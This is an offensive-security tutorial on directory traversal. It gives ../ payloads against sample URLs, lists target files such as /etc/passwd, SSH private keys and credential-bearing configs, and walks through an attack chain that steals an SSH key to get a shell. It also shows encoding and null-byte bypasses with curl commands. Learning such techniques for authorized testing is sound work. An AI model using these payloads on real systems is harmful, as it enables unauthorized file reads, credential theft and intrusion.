Directory Traversal

Reading Files You Shouldn’t

A web server serves files from a web root directory. On Linux, that’s usually /var/www/html/. When you visit http://target.com/page.html, the server reads /var/www/html/page.html.

Directory traversal (also called path traversal) tricks the server into reading files outside that web root by injecting ../ sequences into a parameter.

Every ../ moves one directory up. Stack enough of them and you escape the web root entirely, reaching any file on the filesystem.

How It Works

The Vulnerable Parameter

Look for URLs where a filename is passed as a parameter:

http://target.com/index.php?page=about.html
http://target.com/view?file=report.pdf
http://target.com/download?doc=invoice.txt

The server takes that value and reads the file. If it doesn’t validate the path, you can traverse:

http://target.com/index.php?page=../../../../etc/passwd

How Many `../` Do You Need?

You don’t need to know the exact depth. Extra ../ sequences are harmless. Once you hit the root /, you can’t go higher.

# If web root is /var/www/html/ (3 levels deep)
../../../etc/passwd           # exactly right
../../../../../../../../etc/passwd  # also works, just redundant

When in doubt, use more. Ten ../ sequences will always reach root, no matter how deep the web root is.

What To Read

Linux Targets

File	Why
`/etc/passwd`	Always try first. Confirms the vuln, reveals usernames and home directories
`/home/user/.ssh/id_rsa`	SSH private key, instant shell access
`/etc/shadow`	Password hashes (rarely readable by the web server)
`/var/log/apache2/access.log`	Apache logs (useful for log poisoning later)
App config files	Database credentials, API keys

Windows Targets

File	Why
`C:\Windows\System32\drivers\etc\hosts`	Confirms the vulnerability
`C:\inetpub\wwwroot\web.config`	IIS config, often contains credentials
`C:\inetpub\logs\LogFiles\W3SVC1\`	IIS access logs
`C:\xampp\apache\logs\`	XAMPP Apache logs

Linux vs Windows Paths

	Linux	Windows
Separator	`/`	`\`
Traversal	`../`	`..\`
Root	`/`	`C:\`

On Windows targets, try both forward slashes and backslashes. Many web servers accept either.

The Attack Chain

Directory traversal doesn’t just read files. It chains into full system access.

Confirm the vulnerability with /etc/passwd
Find usernames from the passwd file (look for users with /bin/bash)
Read their SSH key at /home/username/.ssh/id_rsa
Save the key locally, set permissions: chmod 400 stolen_key
SSH in: ssh -i stolen_key user@target

From a file read to a full interactive shell.

Always check for SSH keys after reading /etc/passwd. Loose file permissions on private keys are surprisingly common.

Bypassing Filters

Many applications try to block ../ sequences. Here’s how to get around them.

URL Encoding

Encode the dots and slashes so the filter doesn’t recognize them:

Character	URL Encoded	Double Encoded
`.`	`%2e`	`%252e`
`/`	`%2f`	`%252f`
`\`	`%5c`	`%255c`

So ../ becomes:

URL encoded: %2e%2e%2f
Double encoded: %252e%252e%252f

# Filter blocks ../
curl http://target.com/index.php?page=../../../../etc/passwd
# Blocked!

# URL encode the dots
curl http://target.com/index.php?page=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
# Works!

Other Bypass Techniques

Technique	Example
Nested sequences	`....//....//etc/passwd` (if filter strips `../` once)
Mixed slashes	`..\/..\/etc/passwd`
Null byte (older PHP)	`../../../../etc/passwd%00`
Path truncation	Very long paths that exceed buffer limits

Testing Methodology

Find file parameters - any URL parameter that looks like it references a file
Test with /etc/passwd (Linux) or hosts file (Windows)
If blocked, try URL encoding (%2e%2e%2f)
If that’s blocked, try double encoding (%252e%252e%252f)
Use curl, not the browser - browsers may sanitize the URL before sending it
Read strategically - passwd first, then SSH keys, then app configs

Use curl for path traversal testing. Browsers often normalize ../ sequences before sending the request, which defeats the attack. curl sends exactly what you type.